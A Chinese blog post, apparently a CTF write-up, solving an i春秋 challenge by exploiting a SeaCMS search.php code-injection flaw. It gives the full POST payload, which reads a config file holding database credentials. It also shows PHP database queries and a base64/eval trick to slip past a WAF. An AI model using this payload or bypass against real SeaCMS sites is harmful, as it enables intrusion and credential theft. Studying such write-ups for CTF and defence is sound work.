

i春秋“百度杯”CTF比赛 九月场 Test

原创

[「已注销」](#) 于 2018-09-17 13:51:29 发布 723 收藏

分类专栏: [i春秋](#)

友链: <https://cutt.ly/7777aaaa>

本文链接: https://blog.csdn.net/include_heqile/article/details/82735944

版权



[i春秋 专栏收录该内容](#)

19 篇文章 0 订阅

订阅专栏

<https://www.ichunqiu.com/battalion?t=1&r=0>

这道题还是蛮不错的，下面我来说一下解题思路

首先进入题目链接，然后搜索 [seacms](#) 相关漏洞，我直接使用了百度出来的第一条，[freebuf](#) 上的一篇文章：

<http://www.freebuf.com/vuls/150042.html>

漏洞利用方式如下：

The screenshot shows a web browser window with the URL `localhost/seacms/search.php`. The post data field contains the following payload:

```
searchtype=5
&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=ys{searchpage:letter}&letter=tem{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=cat ./data/common.inc.php
```

Below the browser window is a screenshot of the PHP version 5.3.29 configuration page, showing the following information:

System	Windows NT QTWPFIBUVCBEI 6.2 build 9200 (Unknown Windows version Business Edition) i586
Build Date	Aug 15 2014 19:15:47
Compiler	MSVC9 (Visual C++ 2008)
Architecture	i586
Configure Command	escript /nologo configure.js "--enable-snapshot-build" "--disable-icapi" "--enable-debug-pack" "--without-mysql" "--without-pdo-mysql" "--without-p3lib" "--with-pdo-oci=C:\php-sdk\oracle\instantclient10sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\instantclient11sdk,shared" "--enable-object-out-dir=.\obj" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File	C:\WINDOWS
(php.ini) Path	
Loaded	D:\Tool\phpStudy\php53\php.ini
Configuration File	
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	
PHP API	20090626
PHP Extension	20090626
Zend Extension	220090626
Zend Extension Build	API220090626,TS,VC9
PHP Extension Build	API220090626,TS,VC9
Debug Build	no

我们把 `eval` 改成 `system`，把 `9[]` 改成我们想要执行的命令，即可遍历网站的目录，我看了很多文件，最后在 `data` 目录下找到了 `common.inc.php` 文件，打开查看：`payload` 如下

```
searchtype=5&searchword=
{if{searchpage:year}&year=:s{searchpage:area}}&area=ys{searchpage:letter}&letter=tem{searchpage:lang}&yuyan=
(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=cat ./data/common.inc.php
```

查看页面源代码:

```
<?php
//数据库连接信息
$config_dbhost = '127.0.0.1';
$config_dbname = 'seacms';
$config_dbuser = 'sea_user';
$config_dbpwd = '46e06533407e';
$config_dbprefix = 'sea_';
$config_db_language = 'utf8';
?>
```

然后我们使用 `eval` 执行 `php` 代码连接数据库:

```
$con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
while($row=mysql_fetch_array(mysql_query("select database()")))
    var_dump($row);
```

得到数据库（其实上面的文件已经给出了。。。。。）

然后通过查询 `information_schema.tables` 获得数据库中的表，但是此时就会被拦截掉了，应该是 `360` 的 `waf`，因为之前遍历目录的时候看到了 `360safe` 目录

其实这个很容易解决，既然它是过滤字符串，那我们就把字符串编码，因为我们可以使用 `eval` 执行各种代码，当然也可以对自己进行编码之后的字符串再进行解码，只需在 `payload` 中再加一个 `eval`

现在我们把如下代码使用 `base64` 进行加密，框架是这样的:

```
eval(base64_decode(""));
```

在里面放上自己编码后的字符串即可

查询代码框架如下:

```
$con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
while($row=mysql_fetch_array(mysql_query("填写你的注入语句")))
    var_dump($row);
```

最后就能得到 `flag` 了